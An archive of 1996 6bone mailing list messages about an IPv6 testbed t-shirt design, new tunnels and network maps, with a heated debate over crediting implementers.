Success rate is 100 percent (5/5), round-trip min/avg/max = 8/14/24 ms
----------------------------------------------------------------------

-- 

From majordom@ISI.EDU  Fri Oct 25 06:10:33 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9610251310.ZM13421@rennsport.nas.nasa.gov>
Date: Fri, 25 Oct 1996 13:10:33 -0700
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "Re: Tshirt info on 6bone web page" (Oct 25, 11:22am)
References: "Alain Durand" <Alain.Durand@imag.fr>        "Re: Tshirt info on 6bone web page" (Oct 25   6:20pm) Bob Fink LBNL <RLFink@lbl.gov> 	"Re: Tshirt info on 6bone web page" (Oct 24   6:57am) Bob Fink LBNL <RLFink@lbl.gov> 	"Tshirt info on 6bone web page" (Oct 23   5:21pm) <v03007800ae9466885c0d@[128.3.9.22]> 
	<v03007800ae9525b04882@[128.3.9.22]> 
	<v0300780cae968dc8f1e0@[128.3.9.22]> 
	<961025182039.ZM8846@rama.imag.fr> 
	<v0300780fae96b5393995@[128.3.9.22]>
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To: Bob Fink LBNL <RLFink@lbl.gov>, "Alain Durand" <Alain.Durand@imag.fr>
Subject: Re: Tshirt info on 6bone web page
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At 10:27 AM -0700 10/25/96, Alain Durand wrote:
> >Just wondering: is the 3-D map up to date?
>
> It will be before the final cut so Andrew implies (Andrew?).

Yes, you bet. Bob desires the final seperations on Monday/Tuesday of next week,
so I'll probably freeze the map on Sunday or Monday morning.


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Fri Oct 25 06:27:54 1996
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References: Bob Fink LBNL <RLFink@lbl.gov>        "Re: Tshirt info on
 6bone web page" (Oct 25, 11:22am) "Alain Durand" <Alain.Durand@imag.fr>  
      "Re: Tshirt info on 6bone web page" (Oct 25   6:20pm) Bob Fink LBNL
 <RLFink@lbl.gov> 	"Re: Tshirt info on 6bone web page" (Oct 24   6:57am)
 Bob Fink LBNL <RLFink@lbl.gov> 	"Tshirt info on 6bone web page" (Oct 23  
 5:21pm) <v03007800ae9466885c0d@[128.3.9.22]> 
 <v03007800ae9525b04882@[128.3.9.22]> 
 <v0300780cae968dc8f1e0@[128.3.9.22]> 	<961025182039.ZM8846@rama.imag.fr> 
 <v0300780fae96b5393995@[128.3.9.22]>
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Date: Fri, 25 Oct 1996 13:27:54 -0700
To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Tshirt info on 6bone web page
Cc: 6bone@ISI.EDU (6BONE Mailer)
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Andrew,

>Yes, you bet. Bob desires the final seperations on Monday/Tuesday of next
>week,
>so I'll probably freeze the map on Sunday or Monday morning.

We can now wait about a week (my graphics person says not to rush).  Let's
say Nov 4th for now.

My graphics person is working the approriate color issue as we speak, but
is leaning to the green globe with the red country boundary lines, and blue
to black node lines.  However, she has asked that the node lines be bulked
up a bit.

More as I know it.


Thanks,

Bob



From majordom@ISI.EDU  Fri Oct 25 06:57:11 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Fri, 25 Oct 1996 13:57:11 PDT
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To: rlfink@lbl.gov
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Bob,

	I've just finished configuring a tunnel to Western Washington
University (WWU) from 6bone-router.cisco.com.  I've updated the cisco entry at
RIPE accordingly just now (2nd update today) and I'm told that WWU will add an
entry at RIPE later today.  Please add it to the 6bone map when time permits.

----------------------------------------------------------------------
6bone-router#ping ipv6 wwu-ipv6

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F02:AD00:8CA0::00A6:00C0:D108:0877,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 56/58/64 ms
----------------------------------------------------------------------

	It would be nice if folks maintaining full 6bone routing would update
their routing tables to reflect Xerox PARC, Sumitomo, NUS, and WWU when time
permits.

Thanks,

Ran
rja@cisco.com

-- 

From majordom@ISI.EDU  Fri Oct 25 07:00:55 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Fri, 25 Oct 1996 14:00:55 PDT
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I actually would prefer to have Bob Fink's map on the t-shirt rather than
the 3D map for two reasons.

One, Bob's map makes the surprisingly large number
of active IPv6 nodes more obvious to people seeing the t-shirt.

Two, there are a fair number of active Asian sites (KIT, KEK, WIDE, NUS,
SUMITOMO-JP; WIDE is actually a cluster not just a single site) and the 3D MAP
orientation does not give them equal presence while Bob's map does give them
equal presence.  I'd like to avoid a euro-centric approach in fairness
to other parts of the globe. :-)

Ran
rja@cisco.com

-- 

From majordom@ISI.EDU  Fri Oct 25 07:19:16 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9610251419.ZM14042@rennsport.nas.nasa.gov>
Date: Fri, 25 Oct 1996 14:19:16 -0700
In-Reply-To: rja@cisco.com (Ran Atkinson)
        "t-shirt graphic" (Oct 25,  2:00pm)
References: <199610252100.OAA05208@cornpuffs.cisco.com>
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Subject: Re: t-shirt graphic
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> equal presence.  I'd like to avoid a euro-centric approach in fairness
> to other parts of the globe. :-)

That _exact_ feeling was the reason I at first, didn't advocate using the 3D
map at all, and then advocated the North Pole version of the map. Although, in
the shirt's current incantation of "6bone World Tour" I feel some sort of
representation of the world would go hand-in-hand.

Does anyone else on the list have a strong preference for one of the three
choices? (Topographical map, 3-D polar view, 3-D Euro-centric?)

Bob? It's your T-shirt...   ;-)


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Fri Oct 25 08:02:05 1996
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References: rja@cisco.com (Ran Atkinson)        "t-shirt graphic" (Oct 25,
  2:00pm) <199610252100.OAA05208@cornpuffs.cisco.com>
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Date: Fri, 25 Oct 1996 15:02:05 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: t-shirt graphic
Sender: owner-6bone@ISI.EDU
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At 2:19 PM -0700 10/25/96, Andrew J. Hoag wrote:
>> equal presence.  I'd like to avoid a euro-centric approach in fairness
>> to other parts of the globe. :-)
>
>That _exact_ feeling was the reason I at first, didn't advocate using the 3=
D
>map at all, and then advocated the North Pole version of the map. Although,=
 in
>the shirt's current incantation of "6bone World Tour" I feel some sort of
>representation of the world would go hand-in-hand.
>
>Does anyone else on the list have a strong preference for one of the three
>choices? (Topographical map, 3-D polar view, 3-D Euro-centric?)
>
>Bob? It's your T-shirt...   ;-)

I believe the globe expresses the "wholeness/worldliness" of the project,
and the Europe-USA format shows lots of US and Europe and VERY obvious
links to the other side of the globe.

As for showing details of who is really participating, the 6bone map I
maintain doesn't show details of the larger clouds such as WIDE, G6 or
UNI-C.  It also shows details of interconnection that aren't necessarily
the important part of the message.

I believe the list under the globe is where to relate the long list of
participants.  After all, the goal is not really a Tshirt, but selling IPv6
and letting people know the scale of it.  IMHO, the globe and a real long
list of sites does just that.

I would like to offer the various sites hidden in clouds (WIDE, G6, UNI-C
et al) to come forward with their site names...I'll happily add them as
they have a place in this message/celebration.

So please throw site names at me...let's have the IETFers say to
themselves, "wow, I didn't know that v6 had come so far...let's get
aboard!!".


Thanks,

Bob



From majordom@ISI.EDU  Fri Oct 25 08:24:47 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
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Date: Fri, 25 Oct 1996 15:24:47 -0700
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "Re: t-shirt graphic" (Oct 25,  3:02pm)
References: rja@cisco.com (Ran Atkinson)        "t-shirt graphic" (Oct 25  2:00pm) <199610252100.OAA05208@cornpuffs.cisco.com> 
	<v0300781aae96e7670713@[128.3.9.22]>
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On Oct 25,  3:02pm, Bob Fink LBNL wrote:
> Subject: Re: t-shirt graphic
>
> [ plain text
>   Encoded with "quoted-printable" ] :
At 2:19 PM -0700 10/25/96, Andrew J. Hoag wrote:
> >> equal presence.  I'd like to avoid a euro-centric approach in fairness
> >> to other parts of the globe. :-)
> >
> >That _exact_ feeling was the reason I at first, didn't advocate using the 3D
> >map at all, and then advocated the North Pole version of the map. Although,
in
> >the shirt's current incantation of "6bone World Tour" I feel some sort of
> >representation of the world would go hand-in-hand.
> >
> >Does anyone else on the list have a strong preference for one of the three
> >choices? (Topographical map, 3-D polar view, 3-D Euro-centric?)
> >
> >Bob? It's your T-shirt...   ;-)
>
> I believe the globe expresses the "wholeness/worldliness" of the project,
> and the Europe-USA format shows lots of US and Europe and VERY obvious
> links to the other side of the globe.

Yes, that is the other side of the coin. In fact, the links to Asia, et. al
look very dramatic when positioned such on the globe.

> I would like to offer the various sites hidden in clouds (WIDE, G6, UNI-C
> et al) to come forward with their site names...I'll happily add them as
> they have a place in this message/celebration.

Just one nit: you could seperate out NASA-NAS and NASA-GSFC if you so desire,
as we each brought up our sites independent of each other and generally are
functioning as such.


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Sat Oct 26 00:40:14 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199610252240.XAA29629@jpd.ch.man.ac.uk>
Subject: Re: t-shirt graphic
To: 6bone@isi.edu
Date: Fri, 25 Oct 1996 23:40:14 +0100 (BST)
In-Reply-To: <9610251419.ZM14042@rennsport.nas.nasa.gov> from "Andrew J. Hoag" at Oct 25, 96 02:19:16 pm
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> That _exact_ feeling was the reason I at first, didn't advocate using the 3D
> map at all, and then advocated the North Pole version of the map. Although, in
> the shirt's current incantation of "6bone World Tour" I feel some sort of
> representation of the world would go hand-in-hand.
> 
> Does anyone else on the list have a strong preference for one of the three
> choices? (Topographical map, 3-D polar view, 3-D Euro-centric?)

What's wrong with a Mercator projection? :) (Actually, that's a serious
question - 3D displays aren't that easy to follow, when static. Projections
have a definite advantage over them, especially for something like the globe.)

Talking of maps, any idea when the GIFs will be updated?

Jonathan


From majordom@ISI.EDU  Sat Oct 26 00:43:18 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199610252243.XAA29639@jpd.ch.man.ac.uk>
Subject: Re: t-shirt graphic
To: 6bone@isi.edu
Date: Fri, 25 Oct 1996 23:43:18 +0100 (BST)
In-Reply-To: <9610251419.ZM14042@rennsport.nas.nasa.gov> from "Andrew J. Hoag" at Oct 25, 96 02:19:16 pm
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> 
> > equal presence.  I'd like to avoid a euro-centric approach in fairness
> > to other parts of the globe. :-)
> 
> That _exact_ feeling was the reason I at first, didn't advocate using the 3D
> map at all, and then advocated the North Pole version of the map. Although, in
> the shirt's current incantation of "6bone World Tour" I feel some sort of
> representation of the world would go hand-in-hand.
> 
> Does anyone else on the list have a strong preference for one of the three
> choices? (Topographical map, 3-D polar view, 3-D Euro-centric?)

What's wrong with a good old-fashioned Mercator projection? :)

Actually, that's a serious question - it'd be easier to follow, as a static
image, than a 3-D rendering, and is familiar enough to retain the 'whole-
worldness' that's wanted.

Jonathan


From majordom@ISI.EDU  Fri Oct 25 09:02:19 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Fri, 25 Oct 1996 16:02:19 PDT
In-Reply-To: Jonathan Day <jcday@jpd.ch.man.ac.uk>
       "Re: t-shirt graphic" (Oct 25, 11:40pm)
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The idea of a Mercator projection map is appealing, though I wouldn't
know how to create one myself.  It would show all sites on an equal
basis, making both the number of sites and also the wide dispersion
of sites very clear to anyone seeing the t-shirt.

Ran

-- 

From majordom@ISI.EDU  Fri Oct 25 09:56:48 1996
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Date: Fri, 25 Oct 1996 16:56:48 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - new tunnels
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6bone Diagram version 30:

	new tunnel from G6/FR to COSY/AT

	new tunnel from CISCO/US to SUMITOMO-JP

	new tunnel from CISCO/US to NUS-IRDU/KZ

	new tunnel from CISCO/US to WWU/US

	new tunnel from CISCO/US to PARC/US

Welcome to all!

Now we have Kazakhstan, Singapore and Austria!


Thanks,

Bob



From majordom@ISI.EDU  Sat Oct 26 07:03:43 1996
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: on travel 27-31 Oct - may not respond to changes in 6bone on web
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I'm on travel from 27-31 Oct, and return 1 Nov.  My email response as well
as ability to fiddle with 6bone web pages (like the diagram) may be limited
during that time.

Thus don't be surpised if my responses are slow or non-existant till 1 Nov.


Thanks,

Bob



From majordom@ISI.EDU  Sat Oct 26 13:41:38 1996
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Message-Id: <32728592.1B60@radyn.com>
Date: Sat, 26 Oct 1996 17:41:38 -0400
From: "William M. Kules" <wmk@radyn.com>
Reply-To: wmk@radyn.com
Organization: Radio Dynamics Corp.
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As part of a project, I am attempting to implement
IPv6 at the University of Maryland, College Park.
We have installed the WIDE code on several BSDI
systems and have it working on a local link, and
we would like to extend our reach via a tunnel.

I have reviewed the hookup info, and have 2 questions
(so far):

1) Who is a good connection for tunnelling?  Nasa/Goddard?
NRL?  Should I contact them directly?

2) Do we really need to be running a v6-aware name server
to hookup?

Many thanks,
Bill Kules
--
Bill Kules
Radio Dynamics Corp., Silver Spring, MD
wmk@radyn.com
(301) 891-1036

From majordom@ISI.EDU  Sun Oct 27 19:25:14 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer), bound@zk3.dec.com
Subject: Re: Tshirt info on 6bone web page 
In-Reply-To: Your message of "Wed, 23 Oct 96 17:21:57 PDT."
             <v03007800ae9466885c0d@[128.3.9.22]> 
Date: Mon, 28 Oct 96 00:25:14 -0500
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Bob,

I think we need to list the implementations that are "running" on the
6bone.  Running means that implementation is sending packets.
I did not see them just checking the T-Shirt buttons?  

Also I want Large.  Not XXL or XL.  In fact I know folks who will want
Small and Medium,

I think you need to take orders?   

So ?????

thanks
/jim

From majordom@ISI.EDU  Mon Oct 28 02:04:56 1996
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Over the weekend I did some work on http://www.ipv6.nas.nasa.gov/ and made the
following changes / additions:

* I created a "hypermail" archive of the 6bone mailing list. The biggest
feature here is that we now have a threaded mail archive. Hopefully this should
help newcomers to the list ramp up quicker.

* I published our mirror of the RIPE-NCC IPv6 database. Since I'd been grabbing
the database everyday anyways, I thought I might as well publish it. And since
we sit right on FIX/MAE-WEST it could cut down on traffic across the ocean.

* I updated the geographic maps. Finding the lat-long for Almaty, Kazakstan was
a little bit of a trick, but it was out there. :-)

* I added some tools to my toolkit to parse the RIPE database and found some
inconsistencies. I bugged a few sites out there to get things up to snuff and
everyone was amiable to fixing their entries (thanks!). On my count we are up
to 40 sites with about 60 tunnels.


If anyone has any questions/comments let me know!

-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Mon Oct 28 09:06:53 1996
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References: Your message of "Wed, 23 Oct 96 17:21:57 PDT."            
 <v03007800ae9466885c0d@[128.3.9.22]>
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Date: Mon, 28 Oct 1996 17:06:53 -0800
To: bound@zk3.dec.com
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Tshirt info on 6bone web page
Cc: 6bone@ISI.EDU (6BONE Mailer)
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Jim,

At 9:25 PM -0800 10/27/96, bound@zk3.dec.com wrote:
>I think we need to list the implementations that are "running" on the
>6bone.  Running means that implementation is sending packets.
>I did not see them just checking the T-Shirt buttons?

I had several folk tell me that it was a bad idea to do this, so am
inclined not to.  The list of countries/sites certainly goes a long way to
saying it without getting vendor oriented.


>Also I want Large.  Not XXL or XL.  In fact I know folks who will want
>Small and Medium,

Will do.


>I think you need to take orders?

Will formally ask for orders soon, but will do so by replaying an organized
list of the informal orders I have so far.


Thanks,

Bob



From majordom@ISI.EDU  Mon Oct 28 17:25:28 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: Tshirt info on 6bone web page 
In-Reply-To: Your message of "Mon, 28 Oct 96 17:06:53 PST."
             <v03007801ae9b084769d3@[128.3.9.22]> 
Date: Mon, 28 Oct 96 22:25:28 -0500
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Bob,


>At 9:25 PM -0800 10/27/96, bound@zk3.dec.com wrote:
>>I think we need to list the implementations that are "running" on the
>>6bone.  Running means that implementation is sending packets.
>>I did not see them just checking the T-Shirt buttons?
>>
>I had several folk tell me that it was a bad idea to do this, so am
>inclined not to.  The list of countries/sites certainly goes a long way to
>saying it without getting vendor oriented.

And I heard several folks including me tell you this was a good idea.
Why is their input affecting you and not mine and others?  I must of
have missed the mail unless it was private to you?  IF they want to not
have the implementations on the shirts which is recoginition to the
engineers making all this *** really *** happen then let them stand up
in public.  

And I think the vendors who have done implementations, providing FREE
kits and upgrades, working with the users to debug problems, in some
cases donating hardware, taking the time to manage the bug fixes we hear
on the 6bone, have a right to be noted on these T-Shirts and vendors who
say they are doing who don't participate on the 6bone should be seen
that they are not participating.

I HIGHLY OBJECT to it NOT BEING ON THE T-SHIRTS?

But more importantly I TOTALLY OBJECT to this not being an OPEN
discussion on the 6bone when the only reason the T-Shirts can say
anything about the 6bone in part is because of the "IMPLEMENTATIONS"
running code.

It feels like POLITICS is taking precedence over DOING THE RIGHT THING.
And you know how I am about that and the one thing that sends me into a loop
of getting really pissed off.  I hope I am wrong????  

/jim    



From majordom@ISI.EDU  Tue Oct 29 11:29:50 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199610291129.LAA04231@jpd.ch.man.ac.uk>
Subject: Re: Threaded 6bone Mail Archive
To: ahoag@nas.nasa.gov (Andrew J. Hoag)
Date: Tue, 29 Oct 1996 11:29:50 +0000 (GMT)
Cc: 6bone@isi.edu
In-Reply-To: <9610281004.ZM29599@rennsport.nas.nasa.gov> from "Andrew J. Hoag" at Oct 28, 96 10:04:56 am
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Hi

> * I updated the geographic maps. Finding the lat-long for Almaty, Kazakstan was
> a little bit of a trick, but it was out there. :-)

The map certainly looks a lot more complex, now! Thanks for updating
things. One or two quibbles, with the sites in the UK -

I'm fairly sure Manchester's in the northwest of England, in Lancashire,
rather than in the south, in Kent.

Also, Aberdeen looks to be a little further north than on the map. :)

These /are/ relatively trivial quibbles, when all is said and done. That
there is a map showing /anything/ is good and that the sites are shown
(albeit not in quite the right location in these two cases) is excellent.

(Ok, I admit I'm making the assumption here that there aren't two other
6bone sites in the UK which aren't in the registry. :)

If the site for England is indeed the UMAN site, then it needs to be
two degrees further north and two degrees west of Grenwich. I'm not sure
about the site in Aberdeen, but again, it's west, not east of Grenwich.
 
Jonathan


From majordom@ISI.EDU  Tue Oct 29 15:20:39 1996
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Date: Tue, 29 Oct 1996 14:20:39 +0100
In-Reply-To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
        "Threaded 6bone Mail Archive" (Oct 28, 10:04am)
References: <9610281004.ZM29599@rennsport.nas.nasa.gov>
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Hi

I have set up an automatic mirror of the RIPE database.
See ftp://ftp.imag.fr/pub/archive/RIPE

	- Alain.

From majordom@ISI.EDU  Mon Oct 28 20:25:12 1996
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References: Your message of "Mon, 28 Oct 96 17:06:53 PST."            
 <v03007801ae9b084769d3@[128.3.9.22]>
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Date: Tue, 29 Oct 1996 04:25:12 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Tshirt info on 6bone web page
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6bone folk,

Given Jim Bound's comments about the vendor list, can I have a quick open
survey before the end of the week on this?  The question is, do you want or
not want the vendor list and/or a count (e.g., 5 routers, 10 workstations)?

I still intend to freeze the Tshirt layout by next Monday or Tuesday.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
At 7:25 PM -0800 10/28/96, bound@zk3.dec.com wrote:
>Bob,
>
>
>>At 9:25 PM -0800 10/27/96, bound@zk3.dec.com wrote:
>>>I think we need to list the implementations that are "running" on the
>>>6bone.  Running means that implementation is sending packets.
>>>I did not see them just checking the T-Shirt buttons?
>>>
>>I had several folk tell me that it was a bad idea to do this, so am
>>inclined not to.  The list of countries/sites certainly goes a long way to
>>saying it without getting vendor oriented.
>
>And I heard several folks including me tell you this was a good idea.
>Why is their input affecting you and not mine and others?  I must of
>have missed the mail unless it was private to you?  IF they want to not
>have the implementations on the shirts which is recoginition to the
>engineers making all this *** really *** happen then let them stand up
>in public.
>
>And I think the vendors who have done implementations, providing FREE
>kits and upgrades, working with the users to debug problems, in some
>cases donating hardware, taking the time to manage the bug fixes we hear
>on the 6bone, have a right to be noted on these T-Shirts and vendors who
>say they are doing who don't participate on the 6bone should be seen
>that they are not participating.
>
>I HIGHLY OBJECT to it NOT BEING ON THE T-SHIRTS?
>
>But more importantly I TOTALLY OBJECT to this not being an OPEN
>discussion on the 6bone when the only reason the T-Shirts can say
>anything about the 6bone in part is because of the "IMPLEMENTATIONS"
>running code.
>
>It feels like POLITICS is taking precedence over DOING THE RIGHT THING.
>And you know how I am about that and the one thing that sends me into a loo=
p
>of getting really pissed off.  I hope I am wrong????
>
>/jim




From majordom@ISI.EDU  Tue Oct 29 13:57:52 1996
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From: "Alex Clark" <alex@ifb.net>
To: "Jonathan Day" <jcday@jpd.ch.man.ac.uk>,
        "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Cc: <6bone@isi.edu>
Subject: Re: FAO:<<alex - Re: Threaded 6bone Mail Archive
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Manchester is way wrong!

> Also, Aberdeen looks to be a little further north than on the map. :)

It is in the right place the problem is that the resolution of the VRML map
does not really show the UK properly so we end up in the sea. The GIFs show
us in the right place however and they have the better background map.
 
Alex


-----------------------------------------------------------------
Alex Clark                                           alex@ifb.net
Business Development                           http://www.ifb.net
Internet For Business                           Tel: 01224 595111
387 Union Street, Aberdeen, UK. AB11 6BX        Fax: 01224 595333
-----------------------------------------------------------------


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<html><head></head><BODY bgcolor=3D"#FFFFFF"><p><font size=3D2 =
color=3D"#000000" face=3D"Courier New">Manchester is way =
wrong!<br><br>&gt; Also, Aberdeen looks to be a little further north =
than on the map. :)<br><br>It is in the right place the problem is that =
the resolution of the VRML map does not really show the UK properly so =
we end up in the sea. The GIFs show us in the right place however and =
they have the better background map.<br> <br>Alex<br><br><font =
size=3D2><br>------------------------------------------------------------=
-----<br>Alex Clark =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font =
color=3D"#0000FF"><u>alex@ifb.net</u><font =
color=3D"#000000"><br>Business Development =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;<font color=3D"#0000FF"><u>http://www.ifb.net</u><font =
color=3D"#000000"><br>Internet For Business =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;Tel: 01224 595111<br>387 Union Street, Aberdeen, UK. AB11 6BX =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fax: 01224 =
595333<br>---------------------------------------------------------------=
--<br><br><font size=3D2><br></p>
</font></font></font></font></font></font></font></body></html>
------=_NextPart_000_01BBC5A1.2D958200--


From majordom@ISI.EDU  Tue Oct 29 17:44:59 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <961029164459.ZM2046@rama.imag.fr>
Date: Tue, 29 Oct 1996 16:44:59 +0100
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "Re: Tshirt info on 6bone web page" (Oct 29,  4:25am)
References: Your message of "Mon  28 Oct 96 17:06:53 PST." <v03007801ae9b084769d3@[128.3.9.22]> 
	<v03007807ae9ba729c025@[128.3.9.22]>
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On Oct 29,  4:25am, Bob Fink LBNL wrote:
> Subject: Re: Tshirt info on 6bone web page
> 6bone folk,
>
> Given Jim Bound's comments about the vendor list, can I have a quick open
> survey before the end of the week on this?  The question is, do you want or
> not want the vendor list and/or a count (e.g., 5 routers, 10 workstations)?

I like the world tour idea a lot, the one with county names.

I'm ok to add a separate list of implementations, but I'm reluctant to give
any figures (eg: 5 routers...)
One thing we could do: use the logos of the diferent implementations
as we found them on playground.

I'm not sure if there is any legal issue about that, I guess the minimum should
be to ask the implementors if it's ok to use their logo.

Only few logos are missing, I have collected then in alphabetic order,
you can see them at http://www.ipv6.imag.fr/logos/logo.html



	- Alain.

From majordom@ISI.EDU  Tue Oct 29 03:52:18 1996
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Date: Tue, 29 Oct 1996 09:52:18 -0600
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: Tshirt info on 6bone web page
In-Reply-To: "29 Oct 1996 04:25:12 PST." <"v03007807ae9ba729c025"@[128.3.9.22]>
To: 6bone@isi.edu (6BONE Mailer)
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Bob,

Short answer: I see no need to list implementors on the shirt.

Jim,

Long answer: When someone does something good, they should be
recognized and/or rewarded.  But it is not necessary to reward them
in every possible way and to recognize them in every possible form.
If implementors belong on the shirt, how about the spec-writers?  How
about the working group members who spoke up at meetings or sent
email?  How about the alpha testers not already included in the
preceding list?

When the fruits of your labor become a commercial product, will all
the non-DEC contributors be recognized and mentioned in some material
which accompanies the product?  I don't think such mention would be
any more or less necessary than getting the implementors listed on a
T-shirt.

The implementors are already recognized and will be several times
again.  (Do you think it isn't so?)  But when will the early users be
recognized, if not now?

Jim, I was offended by the very hostile tone of your message, and all
the more so because the very next message in my inbox was your
admonition of Ohta to be more polite.

To even make such a claim as
> It feels like POLITICS is taking precedence over DOING THE RIGHT THING.
presupposes that you know what the "right thing" is and nobody else
does.  Is that the IETF way?  And isn't it a political act to say this?

Well, it's an election year.  We're all feeling a little overdosed on
rhetoric.
					Matt

From majordom@ISI.EDU  Tue Oct 29 00:32:10 1996
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Subject: Re: Tshirt info on 6bone web page 
In-Reply-To: crawdad's message of Tue, 29 Oct 96 07:52:18 -0800.
             <199610291552.JAA11160@gungnir.fnal.gov> 
Date: Tue, 29 Oct 1996 08:32:10 PST
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I agree with what Matt Crawford said.

Steve


From majordom@ISI.EDU  Tue Oct 29 01:10:05 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Tue, 29 Oct 1996 09:10:05 PST
In-Reply-To: Matt Crawford <crawdad@fnal.gov>
       "Re: Tshirt info on 6bone web page" (Oct 29,  9:52am)
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	In short, I agree with Matt Crawford.  

	It is Bob Fink's project to print up the t-shirts and it should be his
decision, but my vote is to omit all implementers.

There are several grounds:
	- it clutters up the t-shirt and distracts people from the main point
	  which is that the 6bone is up and running now.
	- as Matt mentioned the implementers will get their recognition
	  anyway in due course of time. 
	- mentioning implementers but not other important contributors
	  seems unfair to those other contributors.
	- it looks a lot like product marketing

	Like Matt, I was offended by the "very hostile tone" of Jim's note,
particularly since the t-shirt is Bob's idea, Bob's effort, and Bob's project.

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Tue Oct 29 05:13:18 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Tue, 29 Oct 1996 13:13:18 PST
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Can anyone provide a URL for an IPv6-capable web browser client ?

Thanks,

Ran

-- 

From majordom@ISI.EDU  Tue Oct 29 16:54:24 1996
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To: Matt Crawford <crawdad@fnal.gov>
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Subject: Re: Tshirt info on 6bone web page 
In-Reply-To: Your message of "Tue, 29 Oct 96 09:52:18 CST."
             <199610291552.JAA11160@gungnir.fnal.gov> 
Date: Tue, 29 Oct 96 21:54:24 -0500
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Matt,

I will respond to you privately on your comparing me to a previous mail
I made in an official IETF working group.  This is not an IETF activity
but I don't think I was out of line.  I was questioning whether a
decision was done in an open manner. I was questioning the fairness of a 
"decision" which is not political just me.  More on that to you
privately.

On implementers vs others.  

Users.  Of course but having the sites on the T-Shirt I believe covers
the users who clearly are the real heroes and risk takers using their
time.  I would vote out the vendor implementations if we could not have
the sites actually on the 6bone T-Shirts.  My assumption is that they
will be on the T-Shirt, and there is room for the implementations. 

Others you mentioned.  Spec writers get their names on specs as one other
you speak of.

Implementors are much different.  Its like the chicken and the egg, and
the pig and the bacon.  The chicken is involved with making an egg, the
pig is "committed" to the bacon.  The vendors have provided the bacon
and a very "costly" commitment to assist the 6bone to actually run.

So I emphatically disagree with your mail and hope others state its OK
to have the vendors on the T-Shirts to Bob.
